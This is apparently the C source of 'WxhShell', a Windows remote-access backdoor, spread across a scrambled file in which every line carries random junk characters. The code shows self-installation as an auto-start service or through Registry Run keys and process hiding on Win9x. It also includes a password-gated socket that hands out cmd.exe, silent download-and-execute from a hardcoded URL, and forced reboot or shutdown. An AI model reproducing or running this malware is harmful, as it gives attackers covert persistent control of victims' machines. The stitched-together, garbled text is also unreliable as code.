    if(Boot(SHUTDOWN)) SOPair <r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ws88Qs)  
    else { zSA"f_e  
    closesocket(wsh); Q)E3)),  
    ExitThread(0); [VX5r1-F  
    } 0`pCgF  
    break; <XrXs  
    } ?yG[VW  
  // 获取shell "Pc}-&  
  case 's': { JV,h1/a("  
    CmdShell(wsh); 8yIBx%"4MH  
    closesocket(wsh); W2`3PEa  
    ExitThread(0); fNda&  
    break; C\{ KB@C\*  
  } |A68+(3u  
  // 退出 0OlT^  
  case 'x': { ]fDb|s48  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _|;d D  
    CloseIt(wsh); E#d~.#uH  
    break; Ca5LLG  
    } V}`ri~  
  // 离开 ]?V:+>t=  
  case 'q': { 07=I&Pum  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S5gBVGh  
    closesocket(wsh); 2asRJ97qES  
    WSACleanup(); tW!*W?  
    exit(1); ?}KD<R  
    break; J>M9t%f@  
        } fJNK@F  
  } leF!Uog  
  } 9 7HI9R  
o;DK]o>kH  
  // 提示信息 7'At_oG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G'Wp)W;])\  
} 3 [#Rm>,Vu  
  } $U/lm;{%  
B&7:=t,m(  
  return; k&L/Jzz I  
} JPL`/WA 0  
$KT)Kz8tF  
// shell模块句柄 \FX"A#  
int CmdShell(SOCKET sock) VcsM Da  
{ Jza ?DhSAZ  
STARTUPINFO si; Q(Yn8t  
ZeroMemory(&si,sizeof(si)); OVxg9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W!"QtEJ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Ju;i<  
PROCESS_INFORMATION ProcessInfo; 7}Mnv WP  
char cmdline[]="cmd"; Kwm_Y5`A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FjizPg/|!  
  return 0; -ON-0L  
} 2( I4h[  
-da: j-_  
// 自身启动模式 K } T=j+  
int StartFromService(void) KSS]%66Y  
{ R-<8j`[0  
typedef struct g'w"U9tjO  
{ Jqgm>\y  
  DWORD ExitStatus; 0;)Q  
  DWORD PebBaseAddress; - q(a~Ge  
  DWORD AffinityMask; k;JDVRL  
  DWORD BasePriority; -{C Gn5]_#  
  ULONG UniqueProcessId; ^7i7yM}6(  
  ULONG InheritedFromUniqueProcessId; Zl'/Mx g  
}   PROCESS_BASIC_INFORMATION; h-O;5.m-P  
_ iDVd2X"H  
PROCNTQSIP NtQueryInformationProcess; R i,_x  
(GGosXU-v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HCkfw+gaV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /ece}7M  
IG\Cj7{K^  
  HANDLE             hProcess; aO(iKlZ$  
  PROCESS_BASIC_INFORMATION pbi; t,r:= '  
z Fj|E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }CZw'fhVWO  
  if(NULL == hInst ) return 0; 0s{7=Ef  
u>vvW|OB[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lIx./Nf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KXl!VD,#`=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TF!v,cX  
G9am}qr  
  if (!NtQueryInformationProcess) return 0; 5D<ZtsXE  
SYf1dbc..u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E y9rH_  
  if(!hProcess) return 0; ]xoG{%vgb  
zG/? wP"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '/X]96Ci7  
XR[=W(m}  
  CloseHandle(hProcess); h<>yzr3fN  
vGPsjxk&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #639N9a~  
if(hProcess==NULL) return 0; AOKC1iD%Y  
FIVC~LDd  
HMODULE hMod; k.c.7%|~;  
char procName[255]; 1ZRkVHiz0  
unsigned long cbNeeded; q &{<HcP  
X's<+hK&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u^JsKG+,:  
rev*G:  
  CloseHandle(hProcess); %yjD<2J;  
34N~<-9AY  
if(strstr(procName,"services")) return 1; // 以服务启动 wYV>Qd Z  
uPYH3<  
  return 0; // 注册表启动 j!%^6Io4  
} IFS_DW  
y5O &9Ckw  
// 主模块 79d(UG'O  
int StartWxhshell(LPSTR lpCmdLine) XpE847!soL  
{ FY^Nn  
  SOCKET wsl; %.$7-+:7A  
BOOL val=TRUE; cL03V?} ~  
  int port=0; :{lP9%J-  
  struct sockaddr_in door; +w?R4Sxjn  
IPYwUix  
  if(wscfg.ws_autoins) Install(); [2Nux0g  
5E~^-wX  
port=atoi(lpCmdLine); { %]imf|g.  
K r|.I2?"  
if(port<=0) port=wscfg.ws_port; vDi Opd  
]cmX f  
  WSADATA data; Z(Y:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x{<l8vL=-c  
NT5'U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7[u>#8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); udLIAV*  
  door.sin_family = AF_INET; kL0K[O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YC56] Zp  
  door.sin_port = htons(port); {Y Y,{H  
zUv#%Q8vw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 73Jm  
closesocket(wsl); ,#&7+e!]>P  
return 1; 51#OlvD  
} 3+h3?  
emnT;kJ>  
  if(listen(wsl,2) == INVALID_SOCKET) { Pn[oo_)s  
closesocket(wsl); ]SRpMZ  
return 1; A0k?$ko  
} b7Zo~ Z  
  Wxhshell(wsl); vI5lp5( -3  
  WSACleanup(); p`c_5!H  
qa )BbK^i  
return 0; xLOQu.  
je2_ .^  
} a6e{bAuq  
]6)u$4X6$  
// 以NT服务方式启动 x4H#8ZK!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g""GQeR  
{ E8}evi  
DWORD   status = 0; bG@2f"  
  DWORD   specificError = 0xfffffff; tZKw(<am  
%KT}Map  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'D ?o^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oR=i5lAU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |.UY' B  
  serviceStatus.dwWin32ExitCode     = 0; Q^rR}Ws  
  serviceStatus.dwServiceSpecificExitCode = 0; :\His{%  
  serviceStatus.dwCheckPoint       = 0; TxP +?1t  
  serviceStatus.dwWaitHint       = 0; W_Y8)KxG:L  
:Q3pP"H,}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\&3t}_  
  if (hServiceStatusHandle==0) return; `;;l {8  
%g.cE}^  
status = GetLastError(); wLXJ?iy3  
  if (status!=NO_ERROR) {.{Wl,|7  
{ X(nyTR8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cpltTJFg  
    serviceStatus.dwCheckPoint       = 0; TI< x;p  
    serviceStatus.dwWaitHint       = 0; 4r1\&sI$~  
    serviceStatus.dwWin32ExitCode     = status; &R_7]f+%)  
    serviceStatus.dwServiceSpecificExitCode = specificError; `<X-3)>;G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iT4*~(p 3  
    return; 6- i.*!I 8  
  } e;6K xvX~  
,=m.WmXE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =W.}&  
  serviceStatus.dwCheckPoint       = 0; !`Rh2g*o9  
  serviceStatus.dwWaitHint       = 0; @9gZH_ur>E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V ;XKvH  
} e}e8WR=B  
ns8s2kYcm  
// 处理NT服务事件,比如:启动、停止 == 5F[UX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }bjZeh.  
{ FoyYWj?,R  
switch(fdwControl) ilL0=[2  
{ d7X&3L%Oq  
case SERVICE_CONTROL_STOP: :-k|jt  
  serviceStatus.dwWin32ExitCode = 0; i U$ ~H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lZ\8W^  
  serviceStatus.dwCheckPoint   = 0; S13cQ?4  
  serviceStatus.dwWaitHint     = 0; G:1'}RC :  
  { %x$U(I}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~hLan&T  
  } @dDeOnF  
  return; pFd8p@m_2  
case SERVICE_CONTROL_PAUSE: "n!yK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;"wCBuXcu  
  break; 3`HK^((o  
case SERVICE_CONTROL_CONTINUE: @0?!bua_|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; } p'ZMj&  
  break; ;hX(/T  
case SERVICE_CONTROL_INTERROGATE: vjGQ!xF  
  break; 7z{wYCw  
}; =^nb+}Nz(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G21o @38e  
} `a& kD|Yh  
>M,oyM" s  
// 标准应用程序主函数 9B: 3Ha=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `C+<! )2  
{ '-;[8:y.  
'x!\pE-  
// 获取操作系统版本 _/s"VYFZ  
OsIsNt=GetOsVer(); B[t^u\Fk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o%$.8)B9F  
t;&XIG~  
  // 从命令行安装 g7*)|FOb  
  if(strpbrk(lpCmdLine,"iI")) Install(); I &t~o  
Eah6"j!B8n  
  // 下载执行文件 OU[<\d  
if(wscfg.ws_downexe) { *U?O4E9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NB"S ,\M0  
  WinExec(wscfg.ws_filenam,SW_HIDE); /U~|B.z@6  
} M ?$[WS  
>Jz9wo`  
if(!OsIsNt) { k9^Hmhjw  
// 如果时win9x,隐藏进程并且设置为注册表启动 qLN^9PdEE  
HideProc(); }SN( ^3N  
StartWxhshell(lpCmdLine); kmI0V[Y  
} >ZgzE  
else (yOkf-e2y  
  if(StartFromService()) K7+yU3  
  // 以服务方式启动 WSkGVQu  
  StartServiceCtrlDispatcher(DispatchTable); K}V CFV  
else O !L`0 =%c  
  // 普通方式启动 H",B[ YK  
  StartWxhshell(lpCmdLine); tli.g  
`@]s[1?f  
return 0; C6_(j48&  
} ^.SYAwL  
C_.9qo]DT7  
\oQ]=dDCd%  
DDg\oGLp  
=========================================== Y?T{>"_W  
R?2sbK4Cz  
GF'wDi}  
t8Zo9q>  
g*| j+<:7  
[m t.2.  
" .J"N}  
m7 =$*1k  
#include <stdio.h> IUcL*  
#include <string.h> OW:*qY c;:  
#include <windows.h> c8qr-x1HG  
#include <winsock2.h> Kz4S6N c  
#include <winsvc.h> vh9* >[i  
#include <urlmon.h> ]Z JoC!u  
yqK4 "F&  
#pragma comment (lib, "Ws2_32.lib") G1"iu8 9d  
#pragma comment (lib, "urlmon.lib") wucdXj{%  
CUA @CZ6{  
#define MAX_USER   100 // 最大客户端连接数 &c`-/8c  
#define BUF_SOCK   200 // sock buffer B[vj X"yg  
#define KEY_BUFF   255 // 输入 buffer .p`4>XA  
s:`i~hjq  
#define REBOOT     0   // 重启 ?mQ^"9^XS  
#define SHUTDOWN   1   // 关机 ntiS7g e1  
-wl j;U  
#define DEF_PORT   5000 // 监听端口 3:%k pnO  
uFd$*`jS  
#define REG_LEN     16   // 注册表键长度 I0=_=aZO(  
#define SVC_LEN     80   // NT服务名长度 >%JPgr/ 8  
:NzJvI<  
// 从dll定义API Ycm)PU["  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R+sT &d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @nxo Bc !P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #u<Qc T@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k#*-<1  
xVvUx,t  
// wxhshell配置信息 0oe<=L]F  
struct WSCFG { .{Y;6]9[  
  int ws_port;         // 监听端口 ]wQ!ZG?)  
  char ws_passstr[REG_LEN]; // 口令 v1h(_NLI!  
  int ws_autoins;       // 安装标记, 1=yes 0=no +bjy#=  
  char ws_regname[REG_LEN]; // 注册表键名 B( [x8A]  
  char ws_svcname[REG_LEN]; // 服务名 eh# 37*-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yIw}n67  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^}3^|jF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <QtZ6-;_f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ] !UYl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J=V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HN47/]"*  
WxdQ^#AE  
}; )cf i@-J+#  
myx/|-V"F  
// default Wxhshell configuration !Jg;%%E3:i  
struct WSCFG wscfg={DEF_PORT, #GsOE#*>T  
    "xuhuanlingzhe", 2FcL-?  
    1, c,UJ uCZ  
    "Wxhshell", T.q2tC[bR  
    "Wxhshell", b`0tfXzS5  
            "WxhShell Service", L aTcBcI  
    "Wrsky Windows CmdShell Service", tobE3Od4  
    "Please Input Your Password: ", LvG.ocCG  
  1, ^df wWP  
  "http://www.wrsky.com/wxhshell.exe", Z['.RF'`  
  "Wxhshell.exe" J )1   
    }; dzcF1 5H1  
;!yK~OBxt  
// 消息定义模块 $QX$rN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FU|brS t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; npP C;KD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !U`&a=k  
char *msg_ws_ext="\n\rExit."; {N(qS'N  
char *msg_ws_end="\n\rQuit."; +vc+9E.?9  
char *msg_ws_boot="\n\rReboot..."; 570Xk\R@M  
char *msg_ws_poff="\n\rShutdown..."; jiI=tg;  
char *msg_ws_down="\n\rSave to "; # @\3{;{R  
wcHk]mLM  
char *msg_ws_err="\n\rErr!"; FOaA}D `]  
char *msg_ws_ok="\n\rOK!"; gv!8' DKn  
O5dS$[`j\p  
char ExeFile[MAX_PATH]; 6fwNlC/9  
int nUser = 0; 01bCP  
HANDLE handles[MAX_USER]; $Dg-;I  
int OsIsNt; l![M,8  
~NGM6+9  
SERVICE_STATUS       serviceStatus; *MJm:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $+eeE  
N#w5}It  
// 函数声明 pDQ f(@M[  
int Install(void); _S!^=9bJ  
int Uninstall(void); #-az]s|N  
int DownloadFile(char *sURL, SOCKET wsh); ^[ae )}  
int Boot(int flag); {9IRW\kn  
void HideProc(void); W5j wD  
int GetOsVer(void); , 3R=8  
int Wxhshell(SOCKET wsl); Sn:>|y~  
void TalkWithClient(void *cs); a[ {qb  
int CmdShell(SOCKET sock); AR"2?2<mJ7  
int StartFromService(void); wG3L+[,  
int StartWxhshell(LPSTR lpCmdLine); .=y=Fv6X  
0 9H rn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D#jwI,n}x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9#E *o~1  
Khq\@`RaT  
// 数据结构和表定义 ci,(]T +!  
SERVICE_TABLE_ENTRY DispatchTable[] = $`pf!b2Z  
{ UBo0c?,4  
{wscfg.ws_svcname, NTServiceMain}, S)CsH1Q  
{NULL, NULL} '2,~'Zk  
}; ulR yt^bx|  
.EYL  
// 自我安装 9~ p;iiKGG  
int Install(void) $-_" SWG.  
{ BD6!,  
  char svExeFile[MAX_PATH]; " <bjS  
  HKEY key; 'CBwE&AL  
  strcpy(svExeFile,ExeFile); ~tUZQ5"  
G/ x6zdk  
// 如果是win9x系统,修改注册表设为自启动 2"0VXtv6  
if(!OsIsNt) { gI:g/ R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !G%!zNA S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bGh&@&dHr  
  RegCloseKey(key); 'r'=%u$1C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &oL"AJU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xvGYd,dlK  
  RegCloseKey(key); z/Lb1ND8  
  return 0; * :"*'  
    } YznL+TD  
  } _/[qBe  
} +|?a7qM  
else { &BVUK"}P  
e\)%<G5  
// 如果是NT以上系统,安装为系统服务 ui]iO p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q NGR6i  
if (schSCManager!=0) 4S(G366  
{ 6v@Prw@.b  
  SC_HANDLE schService = CreateService R P{pEd  
  ( Owp]>e  
  schSCManager, f,YORJ  
  wscfg.ws_svcname, v]JET9hY  
  wscfg.ws_svcdisp, <5Vf3KoC&  
  SERVICE_ALL_ACCESS, v}>g* @  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  &_)P)L  
  SERVICE_AUTO_START, UG vIHm  
  SERVICE_ERROR_NORMAL, R ENCk (  
  svExeFile, [gzaOP`f  
  NULL, bbL\xq^  
  NULL, s'O%@/;J  
  NULL, ft"-  
  NULL, @Y~gdK  
  NULL Y XhZWo{B  
  ); 'O%*:'5k  
  if (schService!=0) HoBx0N9\2  
  { rpk8  
  CloseServiceHandle(schService); St;9&A  
  CloseServiceHandle(schSCManager); M]8>5Zx.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AB=%yM7V*  
  strcat(svExeFile,wscfg.ws_svcname); }#zL)+XI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^P^"t^O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AA-$;s  
  RegCloseKey(key); $$AZ)#t[  
  return 0; fWP]{z`  
    } cfmwz~S6i  
  } f:j:L79}  
  CloseServiceHandle(schSCManager); yf{\^^ i(  
} Uahh|> s  
} Q-)(s  
NbWEP\dS'z  
return 1; ,|f=2t+5X  
} 5a |R  
e_-g|ukC  
// 自我卸载 51:5rN(_  
int Uninstall(void) #jbC@A9Pe  
{ l@4pZkdq  
  HKEY key; e"@r[pq-{u  
Z%#e* O0  
if(!OsIsNt) { )~M@2;@L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mmQC9nZ  
  RegDeleteValue(key,wscfg.ws_regname); hn.(pI1  
  RegCloseKey(key); *gmc6xY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <B%wq>4S  
  RegDeleteValue(key,wscfg.ws_regname); b'( AVA  
  RegCloseKey(key); Ioe.[&o6B  
  return 0; ]xf89[;0  
  } \m`IgP*  
} ErN[maix#  
} ' !huU   
else { hLfWDf*T|  
 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I/'>MDB!  
if (schSCManager!=0) !fs ~ >  
{ 3 EAr=E]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JP!e'oWxi  
  if (schService!=0) ln<[CgV8  
  { /5%'q~  
  if(DeleteService(schService)!=0) { 2k!uk6  
  CloseServiceHandle(schService); &[`2 4Db  
  CloseServiceHandle(schSCManager); }[%F  
  return 0; %2RXrH2&H  
  } mAH7; u<  
  CloseServiceHandle(schService); 9f['TG,"  
  } 6l|L/Z_6  
  CloseServiceHandle(schSCManager); zt2#K  
} H28-;>'`  
} M"mvPr9  
 WLWfe-  
return 1; lf\"6VIsR  
} /XG7M=A$o  
i~GW  
// 从指定url下载文件 &tkPZ*}#1  
int DownloadFile(char *sURL, SOCKET wsh) s"7FmJ\7rw  
{ *K>2B99TXu  
  HRESULT hr; 2U%t  
char seps[]= "/"; D~qi6@Ga  
char *token; nUY)Ln I  
char *file; @MQfeM-@  
char myURL[MAX_PATH]; Ym%# "  
char myFILE[MAX_PATH]; q2k}bb +  
-X*.scw  
strcpy(myURL,sURL); r:xg#&"*  
  token=strtok(myURL,seps); DvN_}h^nX  
  while(token!=NULL) ,>g( %3C  
  { daY0;,>  
    file=token; [L7S`Z  
  token=strtok(NULL,seps); YTgT2w  
  } ~+\A4BW  
5 Bcmz'?!  
GetCurrentDirectory(MAX_PATH,myFILE); 3b?-83a  
strcat(myFILE, "\\"); +vFqHfmP  
strcat(myFILE, file); zv1,DnkqF  
  send(wsh,myFILE,strlen(myFILE),0); vr>J$(F  
send(wsh,"...",3,0); *~`oA~-Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rI)&.5^  
  if(hr==S_OK) 8}z PDs  
return 0; M/[9ZgDc  
else Q1h v2*/U  
return 1; 5W{|? l{  
s5b<KQ.  
} !/F-EJOH6C  
b9f5  
// 系统电源模块 11J:>A5zt  
int Boot(int flag) oOQan  
{ r|jBKq~  
  HANDLE hToken; qyIy xJ  
  TOKEN_PRIVILEGES tkp; 6{Bvl[mhI  
M~sP|Ha"+  
  if(OsIsNt) { gi A(VUwI>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BZQJ@lk5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^J?2[(   
    tkp.PrivilegeCount = 1; KE)^S [Da  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j{5oXW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XF4NRs  
if(flag==REBOOT) { RvW>kATb_F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I7ySm12}  
  return 0; Erl@] P4  
} or` "{wop  
else { L'BzefU;04  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TI'~K}Te  
  return 0; $EG<LmC-Q  
} _i"[m(ABj1  
  } KbRKPA`  
  else { v^IMN3^W  
if(flag==REBOOT) { (+\K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4_eFc$^  
  return 0; =2wy;@f  
} x(zW<J5X"  
else { 3'Z+PPd!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U&tR1v'  
  return 0; /Hc0~D4|x  
} T/7[hj  
} 7`X9s~B  
B415{  
return 1; H% c{ }F  
} '$OLU[(Y  
TLzcQ|  
// win9x进程隐藏模块 RA62Z&W3  
void HideProc(void) XG6UV('  
{ PDh1*bf{u  
wa9{Q}wSa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;/nR[sibN  
  if ( hKernel != NULL ) X?"Ro`S  
  { Z$@XMq!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7W#9ki1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I."4u~[  
    FreeLibrary(hKernel); T\HP5&  
  } _nnl+S>K  
\RP=Gf  
return; Neb%D8/Kn  
} hta$ k%2  
+hvVoBCM*  
// 获取操作系统版本 ?9H.JR2s%  
int GetOsVer(void) ~Urj:l  
{ yYTiAvN  
  OSVERSIONINFO winfo; ">RDa<H]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >^Z!  
  GetVersionEx(&winfo); ph1veD<ZZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ? Kn~fs8  
  return 1; w4+bzdZ  
  else kjW`k?'s  
  return 0; K31rt-IIt  
} pKSVT  
Ec]cCLB  
// 客户端句柄模块 <tTn$<b  
int Wxhshell(SOCKET wsl) `qsn;  
{ xH8nn3U  
  SOCKET wsh; PFIL)D |G  
  struct sockaddr_in client; `Uw^,r  
  DWORD myID;  HPj7i;?O  
f&>Q 6 {*]  
  while(nUser<MAX_USER) M:(k7a+[^  
{ oM-@B'TK  
  int nSize=sizeof(client); hpym!G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MhB kr{8  
  if(wsh==INVALID_SOCKET) return 1; N|1k6g=0  
yHoj:f$$x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-6E>  
if(handles[nUser]==0) /T*]RO4%>]  
  closesocket(wsh); 2S8/ lsB  
else c>3W1"  
  nUser++; ni]gS0/  
  } S?=2GY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kc\0-3 Z  
zUxF"g-W  
  return 0; 413r3/  
} >[Q(!Ai  
femAVx}go  
// 关闭 socket aX1|&erI  
void CloseIt(SOCKET wsh) #tBbvs+%  
{ FUm-Fp  
closesocket(wsh); ) f'cy@b   
nUser--; i@_|18F]`  
ExitThread(0); M ~!*PCd5  
} (F7!&]8%  
J74 nAC%J^  
// 客户端请求句柄 crC];LMl/  
void TalkWithClient(void *cs) ZWVcCa 3  
{ /gHRJ$2|Sx  
TZZ qV8  
  SOCKET wsh=(SOCKET)cs; obX|8hTL%  
  char pwd[SVC_LEN]; 2Sb~tTGz79  
  char cmd[KEY_BUFF]; G#CWl),=  
char chr[1]; tL;;Yt  
int i,j; `)H.TMI   
q^dI!93n|  
  while (nUser < MAX_USER) { ScfW;  
12E@9s$Z  
if(wscfg.ws_passstr) { +2W#= G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %-T]!3"n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F{f "xM  
  //ZeroMemory(pwd,KEY_BUFF); E( *$wD  
      i=0; )WEyB~'o  
  while(i<SVC_LEN) { BbiBtU  
3QS"n.d  
  // 设置超时 ;Fuxj!gF  
  fd_set FdRead; +V7*vlx-  
  struct timeval TimeOut; fwxyZBr  
  FD_ZERO(&FdRead); i' |S g  
  FD_SET(wsh,&FdRead); F=^vu7rf  
  TimeOut.tv_sec=8; 35jP</  
  TimeOut.tv_usec=0; A"z')   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #.tF&$ik  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7,jh44(\=  
kS?!"zk>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -_pI:K[  
  pwd=chr[0]; 0t*q5pAG".  
  if(chr[0]==0xd || chr[0]==0xa) { jB?Tua$,s  
  pwd=0; `t ZvIy*  
  break; %qfEFhRC  
  } 6eK18*j%H  
  i++; D 7H$!(F>  
    } XRj<2U 5  
d:=5y)  
  // 如果是非法用户,关闭 socket WGVvBX7#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m[ txKj.=_  
} 0V`0="rQ  
't^OIil  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A@du*5> (  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Xf}vdgdM$  
(D{9~^EO>a  
while(1) { yHk/8  
)0RH"#, 2L  
  ZeroMemory(cmd,KEY_BUFF); x8gUP  
zj`!ZY?fv  
      // 自动支持客户端 telnet标准   `N8A{8$qv  
  j=0; )>$xbo")k  
  while(j<KEY_BUFF) { C8@SuJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;9 XM s)  
  cmd[j]=chr[0]; i~.L{K  
  if(chr[0]==0xa || chr[0]==0xd) { /[t]m,p$yq  
  cmd[j]=0; =Q Otag1;  
  break; `2d,=.X  
  } 1|n,s-  
  j++; SukRJvi  
    } RNp3lXf O  
#th^\pV  
  // 下载文件 $0sU h]7y  
  if(strstr(cmd,"http://")) { 8TC%]SvYim  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FrB}2  
  if(DownloadFile(cmd,wsh)) 0D:J d6\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =f{V<i~q  
  else f(7 /  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !}Cd_tj6  
  } VL&E2^*E  
  else { xhj A!\DS  
W<u63P  
    switch(cmd[0]) { .z7F58  
  ;0P2nc:U~  
  // 帮助 BRFA%FZ,  
  case '?': { ^'*9,.ltd  
